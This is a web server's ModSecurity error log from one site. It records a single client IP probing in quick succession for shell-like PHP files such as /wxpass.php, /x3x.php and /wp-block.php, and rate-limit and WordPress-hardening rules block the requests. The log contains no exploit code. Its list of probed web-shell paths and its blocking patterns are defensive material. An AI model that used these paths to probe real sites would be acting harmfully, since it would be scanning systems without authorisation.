[Thu Apr 16 23:08:42.896827 2026] [:error] [pid 57537:tid 57576] [client 4.225.163.126:14215] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ga.php"] [unique_id "aeD7elVQRS8nm73ENAnN-AAAAEE"]
[Thu Apr 16 23:08:43.833468 2026] [:error] [pid 57639:tid 57650] [client 4.225.163.126:14221] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ga.php"] [unique_id "aeD7e6MCQoTw7TsxWukHdgAAAMQ"]
[Thu Apr 16 23:08:53.293312 2026] [:error] [pid 57639:tid 57670] [client 4.225.163.126:14313] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeD7haMCQoTw7TsxWukHqQAAANg"]
[Thu Apr 16 23:08:56.160376 2026] [:error] [pid 57639:tid 57665] [client 4.225.163.126:14323] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeD7iKMCQoTw7TsxWukHrAAAANM"]
[Thu Apr 16 23:08:59.841423 2026] [:error] [pid 49094:tid 49111] [client 4.225.163.126:14369] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeD7izbDwvcXorHR_MwkYgAAAU8"]
[Thu Apr 16 23:09:08.297082 2026] [:error] [pid 57639:tid 57657] [client 4.225.163.126:14229] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeD7lKMCQoTw7TsxWukH-wAAAMs"]
[Thu Apr 16 23:09:09.197498 2026] [:error] [pid 57639:tid 57649] [client 4.225.163.126:14260] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeD7laMCQoTw7TsxWukH_wAAAMM"]
[Thu Apr 16 23:09:10.406280 2026] [:error] [pid 57536:tid 57561] [client 4.225.163.126:14220] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeD7liQU4faGja6jpDuxDwAAAA0"]
[Thu Apr 16 23:09:10.970559 2026] [:error] [pid 57639:tid 57654] [client 4.225.163.126:14381] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeD7lqMCQoTw7TsxWukIBQAAAMg"]
[Thu Apr 16 23:09:11.687380 2026] [:error] [pid 29603:tid 29616] [client 4.225.163.126:14290] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeD7l1fGOR6fpTWUAzq3RAAAAQs"]
[Thu Apr 16 23:09:12.324164 2026] [:error] [pid 49094:tid 49099] [client 4.225.163.126:14390] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper.php"] [unique_id "aeD7mDbDwvcXorHR_MwkeQAAAUM"]
[Thu Apr 16 23:09:12.935870 2026] [:error] [pid 57538:tid 57610] [client 4.225.163.126:14243] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper.php"] [unique_id "aeD7mMuMaiEF5SVR2Bf92QAAAIg"]
[Thu Apr 16 23:09:13.603723 2026] [:error] [pid 7880:tid 7897] [client 4.225.163.126:14214] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper.php"] [unique_id "aeD7maaezm4fSGc0yULS8wAAAYw"]
[Thu Apr 16 23:09:14.258912 2026] [:error] [pid 7880:tid 7898] [client 4.225.163.126:14384] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper.php"] [unique_id "aeD7mqaezm4fSGc0yULS9gAAAY0"]
[Thu Apr 16 23:09:15.312247 2026] [:error] [pid 29603:tid 29624] [client 4.225.163.126:14245] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxpass.php"] [unique_id "aeD7m1fGOR6fpTWUAzq3TwAAARM"]
[Thu Apr 16 23:09:16.071570 2026] [:error] [pid 57538:tid 57605] [client 4.225.163.126:14376] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxpass.php"] [unique_id "aeD7nMuMaiEF5SVR2Bf94wAAAIM"]
[Thu Apr 16 23:09:16.931596 2026] [:error] [pid 57639:tid 57665] [client 4.225.163.126:14309] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxpass.php"] [unique_id "aeD7nKMCQoTw7TsxWukIDgAAANM"]
[Thu Apr 16 23:09:18.103245 2026] [:error] [pid 57639:tid 57647] [client 4.225.163.126:14240] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxpass.php"] [unique_id "aeD7nqMCQoTw7TsxWukIEQAAAME"]
[Thu Apr 16 23:09:18.644854 2026] [:error] [pid 57536:tid 57568] [client 4.225.163.126:14262] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aeD7niQU4faGja6jpDuxEwAAABQ"]
[Thu Apr 16 23:09:19.327681 2026] [:error] [pid 57639:tid 57649] [client 4.225.163.126:14304] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aeD7n6MCQoTw7TsxWukIFwAAAMM"]
[Thu Apr 16 23:09:19.911858 2026] [:error] [pid 57639:tid 57655] [client 4.225.163.126:14296] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aeD7n6MCQoTw7TsxWukIGwAAAMk"]
[Thu Apr 16 23:09:20.481006 2026] [:error] [pid 57639:tid 57669] [client 4.225.163.126:14371] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aeD7oKMCQoTw7TsxWukIIAAAANc"]
[Thu Apr 16 23:09:21.542565 2026] [:error] [pid 57639:tid 57651] [client 4.225.163.126:14266] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeD7oaMCQoTw7TsxWukIIgAAAMU"]
[Thu Apr 16 23:09:22.306932 2026] [:error] [pid 57639:tid 57649] [client 4.225.163.126:14289] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeD7oqMCQoTw7TsxWukIJAAAAMM"]
[Thu Apr 16 23:09:22.986294 2026] [:error] [pid 29603:tid 29609] [client 4.225.163.126:14259] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeD7olfGOR6fpTWUAzq3YAAAAQQ"]
[Thu Apr 16 23:09:23.543567 2026] [:error] [pid 49094:tid 49103] [client 4.225.163.126:14328] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeD7ozbDwvcXorHR_MwkhAAAAUc"]
[Thu Apr 16 23:09:24.303743 2026] [:error] [pid 7880:tid 7886] [client 4.225.163.126:14233] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "aeD7pKaezm4fSGc0yULTAwAAAYE"]
[Thu Apr 16 23:09:24.908783 2026] [:error] [pid 49094:tid 49105] [client 4.225.163.126:14443] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "aeD7pDbDwvcXorHR_MwkhgAAAUk"]
[Thu Apr 16 23:09:25.483859 2026] [:error] [pid 49094:tid 49109] [client 4.225.163.126:14378] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "aeD7pTbDwvcXorHR_MwkiAAAAU0"]
[Thu Apr 16 23:09:26.210992 2026] [:error] [pid 49094:tid 49120] [client 4.225.163.126:14373] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "aeD7pjbDwvcXorHR_MwkjQAAAVg"]
[Thu Apr 16 23:09:26.960818 2026] [:error] [pid 7880:tid 7899] [client 4.225.163.126:14150] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aeD7pqaezm4fSGc0yULTCAAAAY4"]
[Thu Apr 16 23:09:27.749070 2026] [:error] [pid 7880:tid 7892] [client 4.225.163.126:14224] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aeD7p6aezm4fSGc0yULTDAAAAYc"]
[Thu Apr 16 23:09:28.536774 2026] [:error] [pid 57537:tid 57590] [client 4.225.163.126:14308] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aeD7qFVQRS8nm73ENAnOFQAAAE8"]
[Thu Apr 16 23:09:29.269772 2026] [:error] [pid 57536:tid 57571] [client 4.225.163.126:14350] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aeD7qSQU4faGja6jpDuxOAAAABc"]
[Thu Apr 16 23:09:29.845677 2026] [:error] [pid 7880:tid 7898] [client 4.225.163.126:14169] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/global.php"] [unique_id "aeD7qaaezm4fSGc0yULTEgAAAY0"]
[Thu Apr 16 23:09:30.517053 2026] [:error] [pid 57639:tid 57664] [client 4.225.163.126:14432] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/global.php"] [unique_id "aeD7qqMCQoTw7TsxWukINwAAANI"]
[Thu Apr 16 23:09:31.268715 2026] [:error] [pid 7880:tid 7894] [client 4.225.163.126:14310] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/global.php"] [unique_id "aeD7q6aezm4fSGc0yULTGAAAAYk"]
[Thu Apr 16 23:09:31.875306 2026] [:error] [pid 49094:tid 49118] [client 4.225.163.126:14235] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/global.php"] [unique_id "aeD7qzbDwvcXorHR_MwksgAAAVY"]
[Thu Apr 16 23:09:32.553303 2026] [:error] [pid 49094:tid 49115] [client 4.225.163.126:14256] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeD7rDbDwvcXorHR_MwktQAAAVM"]
[Thu Apr 16 23:09:33.285399 2026] [:error] [pid 49094:tid 49120] [client 4.225.163.126:14148] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeD7rTbDwvcXorHR_MwkvQAAAVg"]
[Thu Apr 16 23:09:33.876657 2026] [:error] [pid 49094:tid 49118] [client 4.225.163.126:14144] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeD7rTbDwvcXorHR_MwkvwAAAVY"]
[Thu Apr 16 23:09:34.533364 2026] [:error] [pid 29603:tid 29609] [client 4.225.163.126:14374] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeD7rlfGOR6fpTWUAzq3aQAAAQQ"]
[Thu Apr 16 23:09:35.214089 2026] [:error] [pid 49094:tid 49117] [client 4.225.163.126:14153] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aeD7rzbDwvcXorHR_MwkxAAAAVU"]
[Thu Apr 16 23:09:35.816325 2026] [:error] [pid 57536:tid 57551] [client 4.225.163.126:14257] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aeD7ryQU4faGja6jpDuxQwAAAAM"]
[Thu Apr 16 23:09:36.672562 2026] [:error] [pid 49094:tid 49105] [client 4.225.163.126:14253] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aeD7sDbDwvcXorHR_MwkywAAAUk"]
[Thu Apr 16 23:09:37.324687 2026] [:error] [pid 49094:tid 49103] [client 4.225.163.126:14425] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aeD7sTbDwvcXorHR_MwkzgAAAUc"]
[Thu Apr 16 23:09:38.008018 2026] [:error] [pid 49094:tid 49100] [client 4.225.163.126:14429] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeD7sjbDwvcXorHR_Mwk1AAAAUQ"]
[Thu Apr 16 23:09:38.664892 2026] [:error] [pid 57538:tid 57609] [client 4.225.163.126:14228] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeD7ssuMaiEF5SVR2Bf99gAAAIc"]
[Thu Apr 16 23:09:39.599781 2026] [:error] [pid 49094:tid 49103] [client 4.225.163.126:14216] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeD7szbDwvcXorHR_Mwk3AAAAUc"]
[Thu Apr 16 23:09:40.158253 2026] [:error] [pid 7880:tid 7899] [client 4.225.163.126:14151] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeD7tKaezm4fSGc0yULTIwAAAY4"]
[Thu Apr 16 23:09:40.776642 2026] [:error] [pid 49094:tid 49096] [client 4.225.163.126:14318] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeD7tDbDwvcXorHR_Mwk4QAAAUA"]
[Thu Apr 16 23:09:41.402087 2026] [:error] [pid 57538:tid 57623] [client 4.225.163.126:14424] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeD7tcuMaiEF5SVR2Bf9-AAAAJU"]
[Thu Apr 16 23:09:41.943312 2026] [:error] [pid 57639:tid 57665] [client 4.225.163.126:14427] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeD7taMCQoTw7TsxWukIQAAAANM"]
[Thu Apr 16 23:09:42.681598 2026] [:error] [pid 57536:tid 57562] [client 4.225.163.126:14249] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeD7tiQU4faGja6jpDuxTwAAAA4"]
[Thu Apr 16 23:09:43.287936 2026] [:error] [pid 57536:tid 57548] [client 4.225.163.126:14226] [client 4.225.163.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "aeD7tyQU4faGja6jpDuxUAAAAAA"]
[Thu Apr 16 23:09:43.837127 2026] [:error] [pid 49094:tid 49118] [client 4.225.163.126:14335] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeD7tzbDwvcXorHR_Mwk6wAAAVY"]
